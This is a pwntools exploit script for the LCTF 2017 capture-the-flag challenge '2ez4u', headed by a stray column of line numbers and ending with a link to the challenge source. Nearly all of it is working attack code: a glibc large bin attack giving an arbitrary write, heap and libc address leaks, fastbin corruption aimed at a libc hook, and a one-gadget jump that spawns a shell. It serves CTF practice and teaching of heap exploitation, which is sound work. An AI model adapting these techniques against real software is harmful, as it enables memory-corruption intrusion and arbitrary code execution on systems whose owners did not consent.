66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
#!/usr/bin/env python2.7
# -*- coding: utf-8 -*-

from __future__ import print_function
from pwn import *
from ctypes import c_uint32

context.arch = 'x86-64'
context.os = 'linux'
context.log_level = 'DEBUG'

io = process("./2ez4u", env = {"LD_PRELOAD" : "./libc.so"})

base_addr = 0x0000555555554000

def add(l, desc):
io.recvuntil('your choice:')
io.sendline('1')
io.recvuntil('color?(0:red, 1:green):')
io.sendline('0')
io.recvuntil('value?(0-999):')
io.sendline('0')
io.recvuntil('num?(0-16)')
io.sendline('0')
io.recvuntil('description length?(1-1024):')
io.sendline(str(l))
io.recvuntil('description of the apple:')
io.sendline(desc)
#pass

def dele(idx):
io.recvuntil('your choice:')
io.sendline('2')
io.recvuntil('which?(0-15):')
io.sendline(str(idx))
#pass

def edit(idx, desc):
io.recvuntil('your choice:')
io.sendline('3')
io.recvuntil('which?(0-15):')
io.sendline(str(idx))
io.recvuntil('color?(0:red, 1:green):')
io.sendline('2')
io.recvuntil('value?(0-999):')
io.sendline('1000')
io.recvuntil('num?(0-16)')
io.sendline('17')
io.recvuntil('new description of the apple:')
io.sendline(desc)
#pass

def show(idx):
io.recvuntil('your choice:')
io.sendline('4')
io.recvuntil('which?(0-15):')
io.sendline(str(idx))
#pass

add(0x60, '0'*0x60 ) #
add(0x60, '1'*0x60 ) #
add(0x60, '2'*0x60 ) #
add(0x60, '3'*0x60 ) #
add(0x60, '4'*0x60 ) #
add(0x60, '5'*0x60 ) #
add(0x60, '6'*0x60 ) #

add(0x3f0, '7'*0x3f0) # playground
add(0x30, '8'*0x30 )
add(0x3e0, '9'*0x3d0) # sup
add(0x30, 'a'*0x30 )
add(0x3f0, 'b'*0x3e0) # victim
add(0x30, 'c'*0x30 )

dele(0x9)
dele(0xb)
dele(0x0)
add(0x400, '0'*0x400)

# leak
show(0xb)
io.recvuntil('num: ')
print(hex(c_uint32(int(io.recvline()[:-1])).value))

io.recvuntil('description:')
HEAP = u64(io.recvline()[:-1]+'\x00\x00')-0x7e0
log.info("heap base 0x%016x" % HEAP)

target_addr = HEAP+0xb0 # 1
chunk1_addr = HEAP+0x130 # 2
chunk2_addr = HEAP+0x1b0 # 3
victim_addr = HEAP+0xc30 # b

# large bin attack
edit(0xb, p64(chunk1_addr)) # victim
edit(0x1, p64(0x0)+p64(chunk1_addr)) # target

chunk2 = p64(0x0)
chunk2 += p64(0x0)
chunk2 += p64(0x421)
chunk2 += p64(0x0)
chunk2 += p64(0x0)
chunk2 += p64(chunk1_addr)
edit(0x3, chunk2) # chunk2

chunk1 = ''
chunk1 += p64(0x0)
chunk1 += p64(0x0)
chunk1 += p64(0x411)
chunk1 += p64(target_addr-0x18)
chunk1 += p64(target_addr-0x10)
chunk1 += p64(victim_addr)
chunk1 += p64(chunk2_addr)

edit(0x2, chunk1) # chunk1
edit(0x7, '7'*0x198+p64(0x410)+p64(0x411))

dele(0x6)
dele(0x3)
add(0x3f0, '3'*0x30+p64(0xdeadbeefdeadbeef)) # chunk1, arbitrary write !!!!!!!
add(0x60, '6'*0x60 ) #

show(0x3)
io.recvuntil('3'*0x30)
io.recv(8)
LIBC = u64(io.recv(6)+'\x00\x00')-0x3c4be8
log.info("libc base 0x%016x" % LIBC)

junk = ''
junk += '3'*0x30
junk += p64(0x81)
junk += p64(LIBC+0x3c4be8)
junk += p64(HEAP+0x300)
junk = junk.ljust(0xa8, 'A')
junk += p64(0x80)

recovery = ''
recovery += junk
recovery += p64(0x80) # 0x4->size
recovery += p64(0x60) # 0x4->fd

dele(0x5)
dele(0x4)

edit(0x3, recovery) # victim, start from HEAP+0x158

add(0x60, '4'*0x60 ) #

recovery = ''
recovery += junk
recovery += p64(0x70) # 0x4->size
recovery += p64(0x0) # 0x4->fd
edit(0x3, recovery) # victim, start from HEAP+0x158

add(0x40, '5'*0x30 ) #

dele(0x5)
gdb.attach(io, 'b *0x%x' % (base_addr+0x124e))
recovery = ''
recovery += '3'*0x30
recovery += p64(0x61)
recovery += p64(LIBC+0x3c4b50)
edit(0x3, recovery) # victim, start from HEAP+0x158

add(0x40, '5'*0x30 ) #

add(0x40, p64(LIBC+0x3c5c50)) #

# recovery
edit(0xb, p64(HEAP+0x7e0))
dele(0x6)

add(0x300, '\x00') #
add(0x300, '\x00') #
add(0x300, '\x00') #
add(0x300, '\x00') #
add(0x300, '/bin/sh') #
dele(0x1)
add(0x300, '\x00'*0x1d0+p64(LIBC+0x4526a)) #

dele(15)

io.interactive()

参考文章及题目链接

https://github.com/LCTF/LCTF2017/tree/master/src/pwn/2ez4u